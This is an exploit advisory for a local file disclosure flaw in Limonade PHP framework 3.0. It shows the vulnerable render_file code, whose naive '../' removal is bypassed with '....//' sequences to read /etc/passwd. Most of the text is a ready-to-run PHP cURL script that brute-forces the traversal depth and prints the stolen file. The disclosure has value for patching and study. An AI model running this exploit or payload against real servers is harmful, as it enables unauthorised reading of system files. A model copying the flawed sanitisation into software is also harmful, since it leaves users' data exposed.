Limonade Framework 3.0 Local File Disclosure

2013.11.18
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

################################################################################################################################### # Exploit Title: Limonade framework Local file disclosure filtering bypass # Date: 2013 17 November # Exploit Author: Yashar shahinzadeh # Special thanks to Mormoroth # Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir # Vendor Homepage: http://limonade-php.github.io/? # Tested on: Linux (Ubuntu), PHP 5.3.10-1ubuntu3.8 with Suhosin-Patch # Affected Version : 3.0 (Last) # # Contacts: {http://Twitter.com/YShahinzadeh, http://y-shahinzadeh.ir, http://Twitter.com/Mormoroth, http://mormoroth.ir} ################################################################################################################################### 1. Filtering bypass =================== Limonade is a light framework suffering from Local file disclosure, following lines written at lib/limonade.php make the vulnerability: File: lib/limonade.php ... ... function render_file($filename, $return = false) { # TODO implements X-SENDFILE headers // if($x-sendfile = option('x-sendfile')) // { // // add a X-Sendfile header for apache and Lighttpd >= 1.5 // if($x-sendfile > X-SENDFILE) // add a X-LIGHTTPD-send-file header // // } // else // { // // } $filename = str_replace('../', '', $filename); if(file_exists($filename)) { $content_type = mime_type(file_extension($filename)); $header = 'Content-type: '.$content_type; if(file_is_text($filename)) $header .= '; charset='.strtolower(option('encoding')); send_header($header); return file_read($filename, $return); } else halt(NOT_FOUND, "unknown filename $filename"); } ... ... str_replace() function has been used in inefficient way which reasults in having LFD hole. Following piece of code can be used to demonstrade it: <?php require_once dirname(dirname(__FILE__)).'/lib/limonade.php'; function configure() { option('env', ENV_DEVELOPMENT); } dispatch('/','index'); function index() { set('page_title', "using content_for()"); } dispatch_post('/file/:file','FileContents'); function FileContents() { params($_POST); var_dump(render_file(params('file'))); } run(); ?> What will happen if HTTP request below is sent: ....//....//....//....//etc/passwd Apparently, immediate filtering system applies a replacement which produces: ../../../../etc/passwd Here is the exploit: <?php /** To prevent of time out **/ set_time_limit(0); /** Error reporting **/ error_reporting(0); /** Necessary variables **/ $url = $argv[1]; $data = $argv[2]; $needle = $argv[3]; /** Curl function with appropriate adjustments **/ function CurlPost($url='localhost',$data=array()) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2); curl_setopt($ch,CURLOPT_HEADER,1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_TIMEOUT,50); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,$data); return curl_exec($ch); curl_close($ch); } list($param,$file) = explode(':',$data); $FilterBypassing = '....//'; for($i=0;$i<10;$i++) { $DataToPost[$param] = $FilterBypassing.$file; $response = CurlPost($url,$DataToPost); if(strstr($response,$needle)!==FALSE) { echo $response; echo "\n\nExploited successfully!\n"; echo 'Payload: ',$DataToPost[$param],"\n\n\n"; die(); } $FilterBypassing .= '....//'; } ?> Illustration: http://blog.y-shahinzadeh.ir/posts-images/limonade/1.jpg /** Yasshar shahinzadeh **/


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